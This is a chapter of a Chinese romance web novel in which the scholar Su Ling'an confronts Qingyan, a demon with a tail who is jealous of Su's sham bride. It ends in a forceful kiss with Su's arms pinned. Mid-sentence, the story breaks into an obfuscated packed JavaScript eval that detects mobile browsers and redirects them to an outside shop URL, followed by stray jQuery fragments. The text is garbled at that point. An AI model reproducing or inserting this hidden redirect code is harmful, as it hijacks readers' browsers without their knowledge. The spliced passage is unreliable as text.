25. 摊牌

作品:《被妖鬼逼着考状元养家

    苏令安要看他,清晏没法拒绝他的任何要求。


    命门掌握在苏令安的手上,他把自己交给了他,从很早以前就是了。


    “放开后你会走吗?”


    “不会。”苏令安回答得斩钉截铁。


    烛火点亮。


    清晏的手放开了,苏令安的身体终于得到片刻喘息,他看着手上的尾巴,温热的有生命的,颜色如墨,乖巧绕在手腕上,连接的终端在某人的背后。


    “尾巴很好看。”苏令安评价道,手感很好颜值满分,很有灵性。


    清晏得到这一句夸赞,心中雀跃,脸颊上浮现两朵红云,湿漉漉的眼睛亮晶晶地看着苏令安,仿佛怎么也看不够似的。


    苏令安试探性地伸手,手指放在那双漂亮眼睛落下的泪痕处,清晏一颤,打湿的睫毛一簇簇的,像是鸟儿湿掉的彩羽,上下抖动几下,仿佛受到了惊吓一般。


    “哎。”苏令安擦去他的泪,余光瞥了一眼红账深处。


    火苗跳动着,清晏目光柔柔地盯着眼前人,自然注意到他眸光深处细微的偏差。


    “你受伤了?”


    “不碍事。”


    苏令安拉他过来坐下,转身准备去拿药箱。


    “你去哪里?”清晏连忙拉住他的手。


    “伤口还在渗血,我去拿药箱。”


    “不要走,你说了不走的。”


    “那你的伤口咋办?”


    “我知道,你是想去看她。”清晏面无表情地说道,执拗地拉着苏令安的手不肯放松。


    他的唇色发白,唇紧紧抿着,胸口的血色即便在昏暗的环境下也能看出,情况不容乐观。


    “不要拿自己的身体开玩笑。”苏令安没辙了,搬来凳子,和他面对面坐着,语气淡然地问:“你先别激动,我是正儿八经地问,哎?什么眼神,说了别激动。”


    清晏尽量让自己的呼吸平复下来,他也不想,让苏令安讨厌他,即使他的嘴巴里吐出让他伤心的话,即使听到他关心其他人,心里嫉妒得要命,但他也需要克制,他知道苏令安吃软不吃硬,他要让他喜欢他,就必须听话讨他喜欢。


    “哎,怎么又要哭了。”苏令安见清晏又红了眼眶,唇抿成了一道直线,哀怨委屈的模样,不知如何是好,他还没说什么,怎么就变成这样了?


    慌忙用袖子给他擦去眼泪,等清晏的情绪平复了些。


    苏令安犹豫问道:“就一句话,柳贞身体机能没什么问题还是个活人吧?”


    “我就知道!”清晏胸口的起伏大了起来,血水晕染地部分变大了。


    苏令安连忙高声哄道:“别激动别激动,我只是生性胆小害怕死人呀!没别的意思!况且我们是假成亲,是权宜之计!我和她什么也没有的,你不要误解了。况且柳贞是一条人命,也不能随随便便就那个了吧?我知道清晏你最最好了,心也最最善了。”


    他说完,小心地觑清晏的脸色。


    “我是妖,你不怕么?”清晏没有回答他的问题,反而抛出了另外一个。


    苏令安反应极快地回道:“怎么会怕呢?毛茸茸的,多可爱呀。”生怕他一不小心翻脸了。


    “呵。”


    一声呵出来,苏令安心都提到嗓子眼了。


    “你怕我。”


    “我没有。”


    “你就有,回答得那么快,不就是怕我生气吗?”清晏控诉道。


    苏令安嘴角微抽,回答慢了你估计也有话说,他只能抓起尾巴,贴在脸边,表示:“我很喜欢呢,很有力量很美,配在你身上刚刚好。”


    尾巴感受到苏令安的温度,软软的,离他好近,能感受到他的呼吸,清晏呼吸一乱,尾巴尖想要游动、贴贴,他努力克制着,暗骂自己身体不争气,苏令安给他一点甜头,他就高兴得分不清东南西北了。


    “不要以为你这样,我就放过。”清晏瞳孔一缩,话还没说完,从尾巴根儿流窜上来的刺激,猝不及防让他噤了声,一双薄怒的眼睛含羞又震惊地看向浑然不觉做了什么的苏令安。


    不,他知道。


    苏令安笑的看不见眼,得意洋洋,亲了他的尾巴,像个登徒子,下一秒,纯洁无辜地说道:“那这样呢?可以表达我的喜欢了吗?”


    无耻!清晏绝不承认,自己因为他这一举动,心里冒出了诡异的兴奋与喜悦,他慌乱的将尾巴解救出来,然后缠绕上苏令安的脖子,饶了几圈,尾巴尖抵住他的咽喉。


    恶狠狠地说道:“那个女人没事!你为了她,真是良苦用心!愿意做这样的事来讨好我。”


    脖颈缠绕着毛茸茸的尾巴,像是缠了一圈围脖,热乎乎的,如果是冬天,苏令安会很喜欢。


    “怎么,说不出话来了?”


    “。。。。。。”苏令安指指脖子,面露难色,下一秒翻了个白眼,像是呼吸不畅要晕过去的模样。


    清晏连忙收回尾巴,焦急地说道:“我没怎么用力呀,你没事吧?”


    “呼。”苏令安装模作样地大口呼吸了几下,顶着清晏着急愧疚的目光,隔了半晌,不慌不忙地回道:“还好吧。”


    脖子上雪白如初,一点红痕也不曾留下。


    清晏明知被骗,但也怕自己刚刚激动时没收住力道,一时又气又恨,生了自己的闷气,低声说道:“就拿你自己拿捏我。”


    拿捏两个字用得极妙,苏令安耳尖的捕捉到了,眼下已知表妹没事,他也能放下心来。


    只是大喜之日,他在这里和清晏两个“大男人”秉烛夜谈,算是个什么事呀。


    他想着,总不是自己魅力太大了把他勾了吧,作为皇子,赵明堂什么样的美人没见过呢?非要到这个祁县对他一见钟情吗?这完全不符合常理嘛。


    苏令安对于自己还是有个清晰的认知。


    相比于看重他的脸,他更愿意像是赵明堂是看上了他的才华。


    才华,这个东西他有吗?


    苏令安又陷入了深深的自我怀疑当中。


    从初遇,赵明堂说和他一见如故,他没在意,第二次见面,他说欣赏他的才华,他当他说场面话,后来无数次见面,两人成为了阶级地位悬殊的好朋友,苏令安一向是把赵明堂当做需要溜须拍马的不对等的朋友,他需要他的“势”,也抵挡不了他的“势”,所以两人明面上亲近异常,甚至在外人看来,他苏令安是赵明堂的座上宾,至交好友。


    但一旦翻脸,就好比此刻的情况,苏令安第一反应是怎么哄,他得细心观察清晏的每一寸表情,那些变化,行为动作,代表了什么。


    拿自己拿捏吗?


    苏令安深思,伸出手,指着尾巴:“清晏,我也有尾巴吗?”


    “?”


    “咳,我的意思是,这里的人都有尾巴?还是只是你有。”


    “你歧视有尾巴的?”


    “哪有?天地良心。”苏令安举起手就差没发誓了,插科打诨地说道:“我只是羡慕,羡慕你有这么漂亮的一条尾巴。”


    “哦,是吗。”赵明堂冷淡地回了一句,眼珠子霎那间变成了碧绿碧绿的,龇牙咧嘴地朝着苏令安吼了一声。


    “。。。。。。”眼前碧绿的竖瞳在黑夜里闪闪发亮,像猫眼宝石,苏令安灵光一闪,可不就是猫猫嘛。


    “小晏?”


    清晏收回了獠牙,碧绿的瞳仁冷冰冰的,“我是清晏,不是小晏。”


    “哦,那小晏也可以变人?”苏令安又问。


    清晏气竭,他存心的是吧。


    小晏是他,清晏也是他,怎么他就念着小晏?


    清晏别过脸去,侧脸如刀削一般。


    苏令安不明白大小姐又怎么了,给他秀侧颜是吧,确实如鬼斧刀削,但就是阴气森森,锋利得太过,寒气逼人呀。


    也许是兄弟,他下了结论。毕竟梦里的猫耳少年和赵明堂的脸还是有很大不同的。


    “我的问题你还没有回答我,赵明堂,是你真实的身份吗?”


    “不是。”


    “你把他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245478|197876||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吃了?”


    清晏无语瞪苏令安一眼,没好气地说道:“不够我塞牙缝的!”


    “你的目标是吃进天下人?”


    “苏令安!”


    清晏高声喊道,苏令安连忙嘘声,食指比在自己的嘴中央,小声说道:“小声点,外面人都睡着了。”


    清晏瞪他一眼,不情不愿地回道:“我不吃人,人有什么好吃的,你诚心要把我气死是吗?”


    苏令安打了个哈欠,烛火燃了一半多了,提议道:“要不我们明天再说吧,再说下去,天就要亮了。”


    “你不继续问下去了?”对他就这么没有好奇心吗?还是说,他眼中嗖嗖放着冷箭,朝红色西帐中某人射去。还是说想要和这个贱人同床共枕共赴梦乡?


    “困了。”苏令安眼中泛起了泪花,不吃人的猫猫,危险性不是很大,熬到现在,他实在支撑不住了,容他试探一下,只是某人的态度看起来很不赞同呢。他打了个寒颤,屋里冷气太足了。


    “尾巴借一借?”


    苏令安打断清晏的施法。


    “干什么?”清晏硬邦邦地问,尾巴自动地放到某人的手心。


    “可以枕着睡觉吗?”


    “不可以。”


    “哦,不可以。”苏令安看了眼手中的尾巴,面露可惜,他看了眼不讲人情的清晏,把尾巴放回去,说道:“那就算了。”


    尾巴悬在半空中,顿了一瞬,缓缓放了下去。


    清晏垂眸,烛火彻底燃尽了,他的神色隐没在昏暗中,看不真切。


    门外传来鸡叫声,苏令安说道:“看来睡不成了,我梳洗好了,等会儿就去找你。你的伤口也需要包扎,要不你先回家?”


    见他不动,苏令安哄道:“我保证一定会来找你,现下你在我屋子,被人看见说不清。我给你说个流程,等下我梳洗干净,告知父母表妹昨夜身体不适,请他们免了请安。”


    “禀告完,我就出门,直奔你府上好吗?”


    “。。。。。。”


    “我不会跑的,你神通广大,抓我不是跟抓小鸡仔一样吗?总归我逃不过你的手掌心去,清晏你要还是当我是朋友,那现在就回去。”


    “稚卿,现如今你还当我是朋友吗?”


    “当然。”


    “我表达得还不够吗?要把心剖出来给你看吗?”


    “不必了。”


    清晏步步紧逼,苏令安节节败退,意识到不对劲的时候,尾巴已经揽住了他的腰,禁锢得死死的。碧绿的眼瞳变得暗沉,像是无尽深渊。


    嘴唇相贴,苏令安瞪大了眼,粉饰的太平在此刻烂的稀碎。


    无望的啃咬,时轻时重,一面极为珍惜,一面又极为愤恨。


    黑沉的眼仔细观察他每一寸反应。


    “唔。”


    苏令安挣扎的手,被清晏不容置疑地反剪在身后,一手固定住他的脑袋,气息追逐缠绵,不给他一丝一毫逃离的机会。


    一滴晶莹的泪滴落,苏令安下意识闭上眼,脸颊冰冰凉凉,喘息声在他闭上眼的时候,停了一瞬,下一秒狂风暴雨般的吻卷土重来,比前面还要热烈激动。仿若得到了某种认可、某种回应。


    无尽的眼泪啪嗒啪嗒流下来,像绵绵不尽的雨,苏令安感觉自己身处潮湿的雨季,闷与燥笼罩着他,剥夺了他的呼吸,他的一切。


    胸腔里的氧气被榨空,他像一条濒死的鱼,极力张开了口,大口大口地追寻希望,却在下一秒,被人夺去了活命的机会。


    氧气告急,苏令安的脑袋嗡的一声,炸了,意识不清的他疯狂怼住某处柔软,贪婪撕咬,夺取那少得可怜的氧气。


    像是察觉到他的急切,后脑勺被人轻柔地抵住,安抚性的揉了揉,然后轻轻用力,让他更靠近他,密不可分、唇齿相依,你中有我我中有你,气息交缠不知天地为何物。


    世界变成了万花筒,亮晶晶、晕乎乎,想哭、想笑,转得太快,直到后面再也支撑不住,软绵绵地倒了下去。